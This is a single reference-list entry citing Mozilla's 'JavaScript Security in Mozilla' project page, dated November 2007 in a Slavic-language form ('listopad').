[4] JavaScript Security in Mozilla, http://www.mozilla.org/projects/security/components/jssec.html, listopad 2007.